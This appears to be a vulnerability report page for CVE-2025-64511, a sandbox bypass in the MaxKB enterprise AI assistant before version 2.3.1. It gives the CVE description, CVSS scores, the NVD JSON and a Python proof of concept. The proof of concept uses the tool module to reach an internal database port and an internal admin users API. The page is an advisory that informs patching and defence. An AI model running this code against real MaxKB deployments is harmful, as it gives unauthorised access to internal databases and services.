Security Vulnerability Report
中文
CVE-2025-64511 CVSS 7.4 HIGH

CVE-2025-64511

Published: 2025-11-13 16:15:56
Last Modified: 2025-12-04 15:13:37

Description

MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can access internal network services such as databases through Python code in the tool module, although the process runs in a sandbox. Version 2.3.1 fixes the issue.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:* - VULNERABLE
MaxKB < 2.3.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# MaxKB CVE-2025-64511 PoC - Sandbox Bypass to Internal Service Access # Requires low-privilege user access to MaxKB tool module import socket import urllib.request def access_internal_db(): """Attempt to connect to internal database service""" try: # Target internal database host (example) db_host = 'internal-db.local' db_port = 3306 # Create socket connection to internal database sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((db_host, db_port)) if result == 0: print(f"[+] Successfully connected to internal database at {db_host}:{db_port}") # Could execute database queries here return True else: print(f"[-] Connection failed or service not accessible") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def access_internal_api(): """Attempt to access internal API endpoint""" try: # Target internal API (example) internal_api = 'http://internal-api.local:8080/admin/users' # Make HTTP request to internal service req = urllib.request.Request(internal_api) response = urllib.request.urlopen(req, timeout=5) print(f"[+] Successfully accessed internal API: {internal_api}") print(f"[+] Response: {response.read()}") return True except urllib.error.URLError as e: print(f"[-] Internal API access failed: {str(e)}") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == '__main__': print("MaxKB Sandbox Bypass PoC - CVE-2025-64511") print("This PoC demonstrates ability to access internal services") print("-" * 50) access_internal_db() access_internal_api()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64511", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.217", "lastModified": "2025-12-04T15:13:37.387", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MaxKB is an open-source AI assistant for enterprise. In versions prior to 2.3.1, a user can access internal network services such as databases through Python code in the tool module, although the process runs in a sandbox. Version 2.3.1 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 3.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:maxkb:maxkb:*:*:*:*:-:*:*:*", "versionEndExcluding": "2.3.1", "matchCriteriaId": "AA83A5E9-B7E7-44CF-BBF2-E8CE07A734A2"}]}]}], "references": [{"url": "https://github.com/1Panel-dev/MaxKB/security/advisories/GHSA-9287-g7px-9rp4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}